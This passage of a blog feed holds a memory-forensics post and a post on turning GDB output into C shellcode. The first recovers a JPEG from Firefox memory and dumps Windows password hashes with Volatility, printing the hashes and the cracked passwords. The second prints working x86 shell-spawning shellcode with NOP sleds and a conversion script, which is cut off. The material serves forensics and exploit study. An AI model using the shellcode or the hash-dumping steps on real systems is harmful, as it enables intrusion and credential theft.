<p>An interesting question might be whether someone has viewed a given picture. We know that the physical address space contains many 4kB sized pages. This is a problem for analysing the memory because we usually expect data to be larger than 4kB and this data is most likely fragmented in physical memory. So extracting a picture from the raw memory dump, while possible would be problematic. Our approach was to create a contiguous dump of a processes virtual memory address space and to search our target image in that memory dump. Fortunately, volatility is already able to dump a process&#8217; virtual memory address space, which leaves us with the admittedly not too hard task of finding and extracting binary data of that picture.</p>
<p>We started by generating a  list of running processes from the RAM image to identify the process ID of our target process (<tt>firefox</tt> in our case):</p>
<pre>$ volatility pslist -f memorydump
Name                 Pid    PPid   Thds   Hnds   Time
firefox.exe          2212   2720   22     320    Sat Mar 20 14:33:29 2010
</pre>
<p>Afterwards, we dump the processes virtual memory, using the PID of that process, into a file. Using this we can start searching for our target picture in the process memory dump:</p>
<pre>$ volatility memdmp -p 2212 -f memorydump
</pre>
<p>If we knew that the picture file that is being searched for was a JPEG and we found that these <a href="http://www.obrador.com/essentialjpeg/headerinfo.htm">files have a start and end byte sequence <tt>0xffd8</tt> and  <tt>0xffd9</tt> respectively</a>. While this was helpful information we still need to narrow down our search. Using <tt>xxd</tt> we can take small byte sequences from the body of original picture and search for this sequence in the process&#8217; ID image file. Using this method we are able to find the start of the JPEG picture, in the firefox process memory dump. Here, we can see that the start of the JPEG image marker (<tt>0xffd8</tt>) occurs at address <tt>0x4e20008</tt> in the image dump:</p>
<pre>4e20000: 120e 0200 120e 0200 ffd8 ffe0 0010 4a46  ..............JF
4e20010: 4946 0001 0200 0064 0064 0000 ffec 0011  IF.....d.d......
4e20020: 4475 636b 7900 0100 0400 0000 3c00 00ff  Ducky.......&lt;...
</pre>
<p>Then from this point forwards in the file, a search for the JPEG end of file byte sequence (<tt>0xffd9</tt>) gives us the address of the end of the JPEG picture in the memory image file. Here we can see that the JPEG picture ends at address <tt>0x4e40e19</tt>:</p>
<pre>4e40e00: d5c2 5047 3401 82c7 b75c 5638 2624 461d  ..PG4....\V8&amp;$F.
4e40e10: 4c54 f6b1 3d3c 4b3f ffd9 6500 2800 2700  LT..=&lt;K?..e.(.'.
4e40e20: 7000 7800 2700 2c00 2700 2700 2900 3b00  p.x.'.,.'.'.).;.
</pre>
<p>Then using <tt>dd</tt> with a block size of one byte, and knowing the start and end addresses of our picture image obtained above, we can get python to work out the decimal number of bytes to skip into the file and also the decimal number of bytes to count or read from that position.</p>
<pre>$ dd if=2212.dmp bs=1 skip=$(python -c 'print 0x4e20008')
         count=$(python -c 'print 0x4e40e20 - 0x4e20008') &gt; recovered.jpg
134674+0 records in
134674+0 records out
134674 bytes (135 kB) copied, 0.812532 s, 166 kB/s
</pre>
<p>To verify that the picture extracted from RAM is the same as original picture we can get as hash of both files:</p>
<pre>$ sha256sum Goofy\ Finger.jpg recovered.jpg
e87db764d0f2baccdd5b68dd0324c31ee2281a787d27de38c48e6e9c300b2349  Goofy Finger.jpg
e87db764d0f2baccdd5b68dd0324c31ee2281a787d27de38c48e6e9c300b2349  recovered.jpg
$ display recovered.jpg
</pre>
<p><a href="http://blogs.gnome.org/muelli/files/2010/03/goofy.jpg"><img class="aligncenter size-medium wp-image-1083" title="goofy" src="http://blogs.gnome.org/muelli/files/2010/03/goofy-300x225.jpg" alt="" width="300" height="225" /></a></p>
<h3>Collecting Password Hashes</h3>
<p>For password recovery purposes one might be interested in obtaining the hashed passwords of a running (Windows) system. As a nice side effect, we will gain all existing users on that system. Fortunately, a plugin for volatilty exists which allows dumping the password hashes. The process, however, is a bit cumbersome and could be more automated in the future. We start off finding Registry data in the memory using the <tt>hivescan</tt> command which will give us the offset of the data in memory. We scan two of these memory locations to make sure that we identify the Security and the System hive whichs addresses we have to remember (in our case <tt>0xe1035b60</tt> and <tt>0xe16bdb60</tt>). With these addresses, we run the volatility <tt>hashdump</tt> tool which happily prints all the password hashes.</p>
<pre>$ python volatility hivescan -f memorydump
/tmp/volatility-1.3b/forensics/win32/crashdump.py:31: DeprecationWarning: the sha module is deprecated; use the hashlib module instead
  import sha
Offset          (hex)
58175496        0x377b008
58202976        0x3781b60
63080280        0x3c28758
118954848       0x7171b60
268880736       0x1006cb60
292773896       0x11736008
294130688       0x11881400
414687240       0x18b7a008
421538656       0x19202b60
424552368       0x194e27b0
425945952       0x19636b60
436572168       0x1a059008
705187848       0x2a085008
$ python volatility hivelist -f memorydump  -o 0x377b008
/tmp/volatility-1.3b/forensics/win32/crashdump.py:31: DeprecationWarning: the sha module is deprecated; use the hashlib module instead
  import sha
Address      Name
0xe1e8cb60   \DaS\joe\LS\AD\Microsoft\Windows\UsrClass.dat
0xe261f008   \DaS\joe\NTUSER.DAT
0xe1e65b60   \DaS\LocalService\LS\AD\Microsoft\Windows\UsrClass.dat
0xe1f14008   \DaS\LocalService\NTUSER.DAT
0xe1e797b0   \DaS\NetworkService\LS\AD\Microsoft\Windows\UsrClass.dat
0xe1e03008   \DaS\NetworkService\NTUSER.DAT
0xe1776008   \WINDOWS\system32\config\software
0xe1756400   \WINDOWS\system32\config\default
0xe16e3b60   \WINDOWS\system32\config\SECURITY
0xe16bdb60   \WINDOWS\system32\config\SAM
0xe14b8758   [no name]
0xe1035b60   \WINDOWS\system32\config\system
0xe102e008   [no name]
$ python volatility hivelist -f memorydump  -o 0x1a059008
/tmp/volatility-1.3b/forensics/win32/crashdump.py:31: DeprecationWarning: the sha module is deprecated; use the hashlib module instead
  import sha
Address      Name
0xe1e03008   \Documents and Settings\NetworkService\NTUSER.DAT
0xe1776008   \WINDOWS\system32\config\software
0xe1756400   \WINDOWS\system32\config\default
0xe16e3b60   \WINDOWS\system32\config\SECURITY  &lt;-- Security Hive
0xe16bdb60   \WINDOWS\system32\config\SAM
0xe14b8758   [no name]
0xe1035b60   \WINDOWS\system32\config\system    &lt;-- System Hive
0xe102e008   [no name]
0xe1e8cb60   \DaS\joe\LS\AD\Microsoft\Windows\UsrClass.dat
0xe261f008   \DaS\joe\NTUSER.DAT
0xe1e65b60   \DaS\LocalService\LS\AD\Microsoft\Windows\UsrClass.dat
0xe1f14008   \DaS\LocalService\NTUSER.DAT
0xe1e797b0   \DaS\NetworkService\LS\AD\Microsoft\Windows\UsrClass.dat
$ python volatility hashdump -f memorydump  -y 0xe1035b60 -s 0xe16bdb60
/tmp/volatility-1.3b/forensics/win32/crashdump.py:31: DeprecationWarning: the sha module is deprecated; use the hashlib module instead
  import sha
Administrator:500:2637e35bf0422b90aad3b435b51404ee:48ff5741a4f96d75a9dc23432a6c2fb6:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
HelpAssistant:1000:69d67a492c3dd902282b6be852ba02cf:4672a0174e4f2400bb0fd10d50b9868c:::
SUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b51404ee:c0e2f264bd5be499af3d7b9740579aa7:::
joe:1005:fb62f624fe735986aad3b435b51404ee:c025e7fccfbccc90b057725ef909f4e2:::
mary:1006:758cd98ba77b7ff8aad3b435b51404ee:67f301368e34e8d7a3e5def3d74dbbf2:::
$
</pre>
<p>Having obtained these hashes, one could use, i.e. <a href="http://ophcrack.sourceforge.net/">Ophcrack</a> to recover the password. A <a href="http://www.objectif-securite.ch/en/products.php">web based interface</a> is available and successfully recovered each and every password (i.e.: empty, BLOGGS, MARY123, SMITH, KO*5VUMOWUKGAD). Advanced attacks such as <a href="http://www.sans.org/reading_room/whitepapers/testing/passthehash_attacks_tools_and_mitigation_33283">Pass-The-Hash</a> might also be possible.</p>
<p>It would be interesting to know, how to obtain password hashes from a running Linux or Mac system. The technique should be straight forward: Obtain RAM, get your own hash and search for this well known hash in memory. The harder work will then be to identify the data structures in which the hashes are embedded to reliably identify the hash storage for generality.</p>
]]></content:encoded>
			<wfw:commentRss>http://blogs.gnome.org/muelli/2010/04/volatility-memory-forensics-framework-for-ubuntu/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Convert GDB output to C-style shellcode</title>
		<link>http://blogs.gnome.org/muelli/2009/11/convert-gdb-output-to-c-style-shellcode/</link>
		<comments>http://blogs.gnome.org/muelli/2009/11/convert-gdb-output-to-c-style-shellcode/#comments</comments>
		<pubDate>Fri, 27 Nov 2009 11:56:21 +0000</pubDate>
		<dc:creator>muelli</dc:creator>
				<category><![CDATA[hacking]]></category>
		<category><![CDATA[lang:en]]></category>
		<category><![CDATA[c]]></category>
		<category><![CDATA[ca647]]></category>
		<category><![CDATA[gdb]]></category>
		<category><![CDATA[python]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[shellcode]]></category>

		<guid isPermaLink="false">http://blogs.gnome.org/muelli/?p=801</guid>
		<description><![CDATA[Due to developing shellcode during the recent days, I ended up needing to convert GDB output to C style strings very often. My sample output from GDB looks like this: (gdb) disassemble function Dump of assembler code for function function: 0x08048254 &#60;function+0&#62;:    push   %ebp 0x08048255 &#60;function+1&#62;:    mov    %esp,%ebp 0x08048257 &#60;function+3&#62;:    pop    %ebp 0x08048258 &#60;function+4&#62;:    jmp    [...]]]></description>
			<content:encoded><![CDATA[<p>Due to developing shellcode during the recent days, I ended up needing to convert GDB output to C style strings very often. My sample output from GDB looks like this:<br />
<code lang="c">(gdb) disassemble function<br />
Dump of assembler code for function function:<br />
0x08048254 &lt;function+0&gt;:    push   %ebp<br />
0x08048255 &lt;function+1&gt;:    mov    %esp,%ebp<br />
0x08048257 &lt;function+3&gt;:    pop    %ebp<br />
0x08048258 &lt;function+4&gt;:    jmp    0x8048268 &lt;begin&gt;<br />
0x0804825a &lt;function+6&gt;:    inc    %ecx<br />
0x0804825b &lt;function+7&gt;:    inc    %ecx<br />
0x0804825c &lt;function+8&gt;:    inc    %ecx<br />
0x0804825d &lt;function+9&gt;:    inc    %ecx<br />
0x0804825e &lt;function+10&gt;:    jmp    0x80482b3 &lt;bottom&gt;<br />
0x08048260 &lt;function+12&gt;:    pop    %esi<br />
0x08048261 &lt;function+13&gt;:    mov    %esi,%esp<br />
0x08048263 &lt;function+15&gt;:    sub    $0x78,%esp<br />
0x08048266 &lt;function+18&gt;:    xor    %edi,%edi<br />
0x08048268 &lt;begin+0&gt;:    mov    %edi,%eax<br />
0x0804826a &lt;begin+2&gt;:    inc    %eax<br />
0x0804826b &lt;begin+3&gt;:    inc    %eax<br />
0x0804826c &lt;begin+4&gt;:    int    $0x80<br />
0x0804826e &lt;begin+6&gt;:    test   %eax,%eax<br />
0x08048270 &lt;begin+8&gt;:    je     0x8048288 &lt;child&gt;<br />
0x08048272 &lt;parent+0&gt;:    mov    %edi,%eax<br />
0x08048274 &lt;parent+2&gt;:    mov    $0xa2,%al<br />
0x08048276 &lt;parent+4&gt;:    push   $0x11111111<br />
---Type &lt;return&gt; to continue, or q &lt;return&gt; to quit---<br />
0x0804827b &lt;parent+9&gt;:    push   $0x11111111<br />
0x08048280 &lt;parent+14&gt;:    mov    %esp,%ebx<br />
0x08048282 &lt;parent+16&gt;:    mov    %edi,%ecx<br />
0x08048284 &lt;parent+18&gt;:    int    $0x80<br />
0x08048286 &lt;parent+20&gt;:    jmp    0x8048272 &lt;parent&gt;<br />
0x08048288 &lt;child+0&gt;:    mov    -0x204(%esi),%ebx<br />
0x0804828e &lt;child+6&gt;:    mov    %edi,%ecx<br />
0x08048290 &lt;child+8&gt;:    mov    $0x3f,%al<br />
0x08048292 &lt;child+10&gt;:    int    $0x80<br />
0x08048294 &lt;child+12&gt;:    inc    %ecx<br />
0x08048295 &lt;child+13&gt;:    mov    %edi,%eax<br />
0x08048297 &lt;child+15&gt;:    mov    $0x3f,%al<br />
0x08048299 &lt;child+17&gt;:    int    $0x80<br />
0x0804829b &lt;child+19&gt;:    inc    %ecx<br />
0x0804829c &lt;child+20&gt;:    mov    %edi,%eax<br />
0x0804829e &lt;child+22&gt;:    mov    $0x3f,%al<br />
0x080482a0 &lt;child+24&gt;:    int    $0x80<br />
0x080482a2 &lt;execshell+0&gt;:    mov    %edi,%eax<br />
0x080482a4 &lt;execshell+2&gt;:    mov    %al,0x7(%esi)<br />
0x080482a7 &lt;execshell+5&gt;:    push   %eax<br />
0x080482a8 &lt;execshell+6&gt;:    push   %esi<br />
0x080482a9 &lt;execshell+7&gt;:    mov    %edi,%edx<br />
0x080482ab &lt;execshell+9&gt;:    mov    %esp,%ecx<br />
---Type &lt;return&gt; to continue, or q &lt;return&gt; to quit---<br />
0x080482ad &lt;execshell+11&gt;:    mov    %esi,%ebx<br />
0x080482af &lt;execshell+13&gt;:    mov    $0xb,%al<br />
0x080482b1 &lt;execshell+15&gt;:    int    $0x80<br />
0x080482b3 &lt;bottom+0&gt;:    call   0x8048260 &lt;function+12&gt;<br />
0x080482b8 &lt;bottom+5&gt;:    das<br />
0x080482b9 &lt;bottom+6&gt;:    bound  %ebp,0x6e(%ecx)<br />
0x080482bc &lt;bottom+9&gt;:    das<br />
0x080482bd &lt;bottom+10&gt;:    jae    0x8048327 &lt;__floatdisf+55&gt;<br />
0x080482bf &lt;bottom+12&gt;:    inc    %ecx<br />
0x080482c0 &lt;bottom+13&gt;:    ret<br />
End of assembler dump.<br />
(gdb) x/98xb 0x0804825e<br />
0x804825e &lt;function+10&gt;:    0xeb    0x53    0x5e    0x89    0xf4    0x83    0xec    0x78<br />
0x8048266 &lt;function+18&gt;:    0x31    0xff    0x89    0xf8    0x40    0x40    0xcd    0x80<br />
0x804826e &lt;begin+6&gt;:    0x85    0xc0    0x74    0x16    0x89    0xf8    0xb0    0xa2<br />
0x8048276 &lt;parent+4&gt;:    0x68    0x11    0x11    0x11    0x11    0x68    0x11    0x11<br />
0x804827e &lt;parent+12&gt;:    0x11    0x11    0x89    0xe3    0x89    0xf9    0xcd    0x80<br />
0x8048286 &lt;parent+20&gt;:    0xeb    0xea    0x8b    0x9e    0xfc    0xfd    0xff    0xff<br />
0x804828e &lt;child+6&gt;:    0x89    0xf9    0xb0    0x3f    0xcd    0x80    0x41    0x89<br />
0x8048296 &lt;child+14&gt;:    0xf8    0xb0    0x3f    0xcd    0x80    0x41    0x89    0xf8<br />
0x804829e &lt;child+22&gt;:    0xb0    0x3f    0xcd    0x80    0x89    0xf8    0x88    0x46<br />
0x80482a6 &lt;execshell+4&gt;:    0x07    0x50    0x56    0x89    0xfa    0x89    0xe1    0x89<br />
0x80482ae &lt;execshell+12&gt;:    0xf3    0xb0    0x0b    0xcd    0x80    0xe8    0xa8    0xff<br />
0x80482b6 &lt;bottom+3&gt;:    0xff    0xff    0x2f    0x62    0x69    0x6e    0x2f    ---Type &lt;return&gt; to continue, or q &lt;return&gt; to quit---<br />
0x73<br />
0x80482be &lt;bottom+11&gt;:    0x68    0x41<br />
(gdb) Quit</code><br />
And my desired output are the bytes in these strings:</p>

<div class="wp_syntax"><div class="code"><pre class="c" style="font-family:monospace;"><span style="color: #993333;">char</span> shcode<span style="color: #009900;">&#91;</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #ff0000;">&quot;<span style="color: #660099; font-weight: bold;">\x90</span><span style="color: #660099; font-weight: bold;">\x90</span><span style="color: #660099; font-weight: bold;">\x90</span><span style="color: #660099; font-weight: bold;">\x90</span><span style="color: #660099; font-weight: bold;">\x90</span><span style="color: #660099; font-weight: bold;">\x90</span><span style="color: #660099; font-weight: bold;">\x90</span><span style="color: #660099; font-weight: bold;">\x90</span><span style="color: #660099; font-weight: bold;">\x90</span><span style="color: #660099; font-weight: bold;">\x90</span><span style="color: #660099; font-weight: bold;">\x90</span><span style="color: #660099; font-weight: bold;">\x90</span><span style="color: #660099; font-weight: bold;">\x90</span><span style="color: #660099; font-weight: bold;">\x90</span><span style="color: #660099; font-weight: bold;">\x90</span><span style="color: #660099; font-weight: bold;">\x90</span><span style="color: #660099; font-weight: bold;">\x90</span><span style="color: #660099; font-weight: bold;">\x90</span><span style="color: #660099; font-weight: bold;">\x90</span><span style="color: #660099; font-weight: bold;">\x90</span><span style="color: #660099; font-weight: bold;">\x90</span><span style="color: #660099; font-weight: bold;">\x90</span><span style="color: #660099; font-weight: bold;">\x90</span><span style="color: #660099; font-weight: bold;">\x90</span><span style="color: #660099; font-weight: bold;">\x90</span><span style="color: #660099; font-weight: bold;">\x90</span><span style="color: #660099; font-weight: bold;">\x90</span><span style="color: #660099; font-weight: bold;">\x90</span><span style="color: #660099; font-weight: bold;">\x90</span><span style="color: #660099; font-weight: bold;">\x90</span><span style="color: #660099; font-weight: bold;">\x90</span><span style="color: #660099; font-weight: bold;">\x90</span><span style="color: #660099; font-weight: bold;">\x90</span><span style="color: #660099; font-weight: bold;">\x90</span><span style="color: #660099; font-weight: bold;">\x90</span><span style="color: #660099; font-weight: bold;">\x90</span><span style="color: #660099; font-weight: bold;">\x90</span><span style="color: #660099; font-weight: bold;">\x90</span><span style="color: #660099; font-weight: bold;">\x90</span><span style="color: #660099; font-weight: bold;">\x90</span><span style="color: #660099; font-weight: bold;">\x90</span><span style="color: #660099; font-weight: bold;">\x90</span><span style="color: #660099; font-weight: bold;">\x90</span><span style="color: #660099; font-weight: bold;">\x90</span><span style="color: #660099; font-weight: bold;">\x90</span><span style="color: #660099; font-weight: bold;">\x90</span><span style="color: #660099; font-weight: bold;">\x90</span><span style="color: #660099; font-weight: bold;">\x90</span><span style="color: #660099; font-weight: bold;">\x90</span><span style="color: #660099; font-weight: bold;">\x90</span><span style="color: #660099; font-weight: bold;">\x90</span><span style="color: #660099; font-weight: bold;">\x90</span><span style="color: #660099; font-weight: bold;">\x90</span><span style="color: #660099; font-weight: bold;">\x90</span><span style="color: #660099; font-weight: bold;">\x90</span><span style="color: #660099; font-weight: bold;">\x90</span><span style="color: #660099; font-weight: bold;">\x90</span><span style="color: #660099; font-weight: bold;">\x90</span><span style="color: #660099; font-weight: bold;">\x90</span><span style="color: #660099; font-weight: bold;">\x90</span><span style="color: #660099; font-weight: bold;">\x90</span><span style="color: #660099; font-weight: bold;">\x90</span><span style="color: #660099; font-weight: bold;">\x90</span><span style="color: #660099; font-weight: bold;">\x90</span><span style="color: #660099; font-weight: bold;">\x90</span><span style="color: #660099; font-weight: bold;">\x90</span><span style="color: #660099; font-weight: bold;">\x90</span><span style="color: #660099; font-weight: bold;">\x90</span><span style="color: #660099; font-weight: bold;">\x90</span><span style="color: #660099; font-weight: bold;">\x90</span><span style="color: #660099; font-weight: bold;">\x90</span><span style="color: #660099; font-weight: bold;">\x90</span><span style="color: #660099; font-weight: bold;">\x90</span><span style="color: #660099; font-weight: bold;">\x90</span><span style="color: #660099; font-weight: bold;">\x90</span><span style="color: #660099; font-weight: bold;">\x90</span><span style="color: #660099; font-weight: bold;">\x90</span><span style="color: #660099; font-weight: bold;">\x90</span><span style="color: #660099; font-weight: bold;">\x90</span><span style="color: #660099; font-weight: bold;">\x90</span><span style="color: #660099; font-weight: bold;">\x90</span><span style="color: #660099; font-weight: bold;">\x90</span><span style="color: #660099; font-weight: bold;">\x90</span><span style="color: #660099; font-weight: bold;">\x90</span><span style="color: #660099; font-weight: bold;">\x90</span><span style="color: #660099; font-weight: bold;">\x90</span><span style="color: #660099; font-weight: bold;">\x90</span><span style="color: #660099; font-weight: bold;">\x90</span><span style="color: #660099; font-weight: bold;">\x90</span><span style="color: #660099; font-weight: bold;">\x90</span><span style="color: #660099; font-weight: bold;">\x90</span><span style="color: #660099; font-weight: bold;">\x90</span><span style="color: #660099; font-weight: bold;">\x90</span><span style="color: #660099; font-weight: bold;">\x90</span><span style="color: #660099; font-weight: bold;">\x90</span><span style="color: #660099; font-weight: bold;">\x90</span><span style="color: #660099; font-weight: bold;">\x90</span><span style="color: #660099; font-weight: bold;">\x90</span><span style="color: #660099; font-weight: bold;">\x90</span><span style="color: #660099; font-weight: bold;">\x90</span><span style="color: #660099; font-weight: bold;">\x90</span><span style="color: #660099; font-weight: bold;">\x90</span><span style="color: #660099; font-weight: bold;">\x90</span><span style="color: #660099; font-weight: bold;">\x90</span><span style="color: #660099; font-weight: bold;">\x90</span><span style="color: #660099; font-weight: bold;">\x90</span><span style="color: #660099; font-weight: bold;">\x90</span><span style="color: #660099; font-weight: bold;">\x90</span><span style="color: #660099; font-weight: bold;">\x90</span><span style="color: #660099; font-weight: bold;">\x90</span><span style="color: #660099; font-weight: bold;">\x90</span><span style="color: #660099; font-weight: bold;">\x90</span><span style="color: #660099; font-weight: bold;">\x90</span><span style="color: #660099; font-weight: bold;">\x90</span><span style="color: #660099; font-weight: bold;">\x90</span><span style="color: #660099; font-weight: bold;">\x90</span><span style="color: #660099; font-weight: bold;">\x90</span><span style="color: #660099; font-weight: bold;">\x90</span><span style="color: #660099; font-weight: bold;">\x90</span><span style="color: #660099; font-weight: bold;">\x90</span><span style="color: #660099; font-weight: bold;">\x90</span><span style="color: #660099; font-weight: bold;">\x90</span><span style="color: #660099; font-weight: bold;">\x90</span><span style="color: #660099; font-weight: bold;">\x90</span><span style="color: #660099; font-weight: bold;">\x90</span><span style="color: #660099; font-weight: bold;">\x90</span><span style="color: #660099; font-weight: bold;">\x90</span><span style="color: #660099; font-weight: bold;">\x90</span><span style="color: #660099; font-weight: bold;">\x90</span><span style="color: #660099; font-weight: bold;">\x90</span>&quot;</span>
 <span style="color: #808080; font-style: italic;">/* First the NOPs*/</span>
 <span style="color: #ff0000;">&quot;<span style="color: #660099; font-weight: bold;">\xeb</span><span style="color: #660099; font-weight: bold;">\x04</span>&quot;</span>              <span style="color: #808080; font-style: italic;">/* Jump over the ret addr */</span>
 <span style="color: #ff0000;">&quot;<span style="color: #660099; font-weight: bold;">\x41</span><span style="color: #660099; font-weight: bold;">\x41</span><span style="color: #660099; font-weight: bold;">\x41</span><span style="color: #660099; font-weight: bold;">\x41</span>&quot;</span>        <span style="color: #808080; font-style: italic;">/* wannabe ret addr */</span>
 <span style="color: #ff0000;">&quot;<span style="color: #660099; font-weight: bold;">\x90</span><span style="color: #660099; font-weight: bold;">\x90</span><span style="color: #660099; font-weight: bold;">\x90</span><span style="color: #660099; font-weight: bold;">\x90</span><span style="color: #660099; font-weight: bold;">\x90</span><span style="color: #660099; font-weight: bold;">\x90</span><span style="color: #660099; font-weight: bold;">\x90</span><span style="color: #660099; font-weight: bold;">\x90</span><span style="color: #660099; font-weight: bold;">\x90</span><span style="color: #660099; font-weight: bold;">\x90</span><span style="color: #660099; font-weight: bold;">\x90</span><span style="color: #660099; font-weight: bold;">\x90</span>&quot;</span>
 <span style="color: #808080; font-style: italic;">/* Second NOP slide */</span>
 <span style="color: #ff0000;">&quot;<span style="color: #660099; font-weight: bold;">\xeb</span><span style="color: #660099; font-weight: bold;">\x5d</span><span style="color: #660099; font-weight: bold;">\x5e</span><span style="color: #660099; font-weight: bold;">\x89</span><span style="color: #660099; font-weight: bold;">\xf4</span><span style="color: #660099; font-weight: bold;">\x81</span><span style="color: #660099; font-weight: bold;">\xec</span><span style="color: #660099; font-weight: bold;">\xc8</span><span style="color: #660099; font-weight: bold;">\x00</span><span style="color: #660099; font-weight: bold;">\x00</span><span style="color: #660099; font-weight: bold;">\x00</span><span style="color: #660099; font-weight: bold;">\x31</span><span style="color: #660099; font-weight: bold;">\xff</span><span style="color: #660099; font-weight: bold;">\xb8</span><span style="color: #660099; font-weight: bold;">\x02</span><span style="color: #660099; font-weight: bold;">\x00</span><span style="color: #660099; font-weight: bold;">\x00</span><span style="color: #660099; font-weight: bold;">\x00</span><span style="color: #660099; font-weight: bold;">\xcd</span><span style="color: #660099; font-weight: bold;">\x80</span><span style="color: #660099; font-weight: bold;">\x85</span><span style="color: #660099; font-weight: bold;">\xc0</span><span style="color: #660099; font-weight: bold;">\x74</span><span style="color: #660099; font-weight: bold;">\x17</span><span style="color: #660099; font-weight: bold;">\xb8</span><span style="color: #660099; font-weight: bold;">\xa2</span><span style="color: #660099; font-weight: bold;">\x00</span><span style="color: #660099; font-weight: bold;">\x00</span><span style="color: #660099; font-weight: bold;">\x00</span><span style="color: #660099; font-weight: bold;">\x68</span><span style="color: #660099; font-weight: bold;">\xb8</span><span style="color: #660099; font-weight: bold;">\x0b</span><span style="color: #660099; font-weight: bold;">\x00</span><span style="color: #660099; font-weight: bold;">\x00</span><span style="color: #660099; font-weight: bold;">\x68</span><span style="color: #660099; font-weight: bold;">\xb8</span><span style="color: #660099; font-weight: bold;">\x0b</span><span style="color: #660099; font-weight: bold;">\x00</span><span style="color: #660099; font-weight: bold;">\x00</span><span style="color: #660099; font-weight: bold;">\x89</span><span style="color: #660099; font-weight: bold;">\xe3</span><span style="color: #660099; font-weight: bold;">\x89</span><span style="color: #660099; font-weight: bold;">\xf9</span><span style="color: #660099; font-weight: bold;">\xcd</span><span style="color: #660099; font-weight: bold;">\x80</span><span style="color: #660099; font-weight: bold;">\xeb</span><span style="color: #660099; font-weight: bold;">\xe9</span><span style="color: #660099; font-weight: bold;">\x8b</span><span style="color: #660099; font-weight: bold;">\x9e</span><span style="color: #660099; font-weight: bold;">\xfc</span><span style="color: #660099; font-weight: bold;">\xfd</span><span style="color: #660099; font-weight: bold;">\xff</span><span style="color: #660099; font-weight: bold;">\xff</span><span style="color: #660099; font-weight: bold;">\x89</span><span style="color: #660099; font-weight: bold;">\xf9</span><span style="color: #660099; font-weight: bold;">\xb8</span><span style="color: #660099; font-weight: bold;">\x3f</span><span style="color: #660099; font-weight: bold;">\x00</span><span style="color: #660099; font-weight: bold;">\x00</span><span style="color: #660099; font-weight: bold;">\x00</span><span style="color: #660099; font-weight: bold;">\xcd</span><span style="color: #660099; font-weight: bold;">\x80</span><span style="color: #660099; font-weight: bold;">\x41</span><span style="color: #660099; font-weight: bold;">\xb8</span><span style="color: #660099; font-weight: bold;">\x3f</span><span style="color: #660099; font-weight: bold;">\x00</span><span style="color: #660099; font-weight: bold;">\x00</span><span style="color: #660099; font-weight: bold;">\x00</span><span style="color: #660099; font-weight: bold;">\xcd</span><span style="color: #660099; font-weight: bold;">\x80</span><span style="color: #660099; font-weight: bold;">\x41</span><span style="color: #660099; font-weight: bold;">\xb8</span><span style="color: #660099; font-weight: bold;">\x3f</span><span style="color: #660099; font-weight: bold;">\x00</span><span style="color: #660099; font-weight: bold;">\x00</span><span style="color: #660099; font-weight: bold;">\x00</span><span style="color: #660099; font-weight: bold;">\xcd</span><span style="color: #660099; font-weight: bold;">\x80</span><span style="color: #660099; font-weight: bold;">\x89</span><span style="color: #660099; font-weight: bold;">\xf8</span><span style="color: #660099; font-weight: bold;">\x88</span><span style="color: #660099; font-weight: bold;">\x46</span><span style="color: #660099; font-weight: bold;">\x07</span><span style="color: #660099; font-weight: bold;">\x50</span><span style="color: #660099; font-weight: bold;">\x56</span><span style="color: #660099; font-weight: bold;">\x89</span><span style="color: #660099; font-weight: bold;">\xfa</span><span style="color: #660099; font-weight: bold;">\x89</span><span style="color: #660099; font-weight: bold;">\xe1</span><span style="color: #660099; font-weight: bold;">\x89</span><span style="color: #660099; font-weight: bold;">\xf3</span><span style="color: #660099; font-weight: bold;">\xb0</span><span style="color: #660099; font-weight: bold;">\x0b</span><span style="color: #660099; font-weight: bold;">\xcd</span><span style="color: #660099; font-weight: bold;">\x80</span><span style="color: #660099; font-weight: bold;">\xe8</span><span style="color: #660099; font-weight: bold;">\x9e</span><span style="color: #660099; font-weight: bold;">\xff</span><span style="color: #660099; font-weight: bold;">\xff</span><span style="color: #660099; font-weight: bold;">\xff</span><span style="color: #660099; font-weight: bold;">\x2f</span><span style="color: #660099; font-weight: bold;">\x62</span><span style="color: #660099; font-weight: bold;">\x69</span><span style="color: #660099; font-weight: bold;">\x6e</span><span style="color: #660099; font-weight: bold;">\x2f</span><span style="color: #660099; font-weight: bold;">\x73</span><span style="color: #660099; font-weight: bold;">\x68</span><span style="color: #660099; font-weight: bold;">\x41</span>&quot;</span>
 <span style="color: #808080; font-style: italic;">/* that's the shellcode */</span></pre></div></div>

<p>So I built a quick and dirty script which does the conversion and helped me saving a lot of time. Is there any better way of making gdb output the shellcode directly?</p>

<div class="wp_syntax"><div class="code"><pre class="python" style="font-family:monospace;"><span style="color: #808080; font-style: italic;">#!/usr/bin/env python</span>
<span style="color: #ff7700;font-weight:bold;">import</span> <span style="color: #dc143c;">sys</span>
&nbsp;
paginator  = <span style="color: #483d8b;">''</span><span style="color: #483d8b;">'---Type  to continue, or q  to quit---'</span><span style="color: #483d8b;">''</span>
&nbsp;
<span style="color: #ff7700;font-weight:bold;">def</span> convert <span style="color: black;">&#40;</span>to_convert<span style="color: black;">&#41;</span>:
    retlines = <span style="color: black;">&#91;</span><span style="color: black;">&#93;</span>
    <span style="color: #ff7700;font-weight:bold;">for</span> line <span style="color: #ff7700;font-weight:bold;">in</span> to_convert.<span style="color: black;">splitlines</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>:
        <span style="color: #ff7700;font-weight:bold;">if</span> line.<span style="color: black;">startswith</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">'--'</span><span style="color: black;">&#41;</span>:
            <span style="color: #ff7700;font-weight:bold;">continue</span>
        pos = line.<span style="color: black;">find</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;:&quot;</span><span style="color: black;">&#41;</span>
        newline_string = line<span style="color: black;">&#91;</span>pos+<span style="color: #ff4500;">1</span>:<span style="color: black;">&#93;</span>
        <span style="color: #ff7700;font-weight:bold;">for</span> needle, replacement  <span style="color: #ff7700;font-weight:bold;">in</span> <span style="color: black;">&#40;</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">'<span style="color: #000099; font-weight: bold;">\t</span>'</span>, <span style="color: #483d8b;">''</span><span style="color: black;">&#41;</span>,
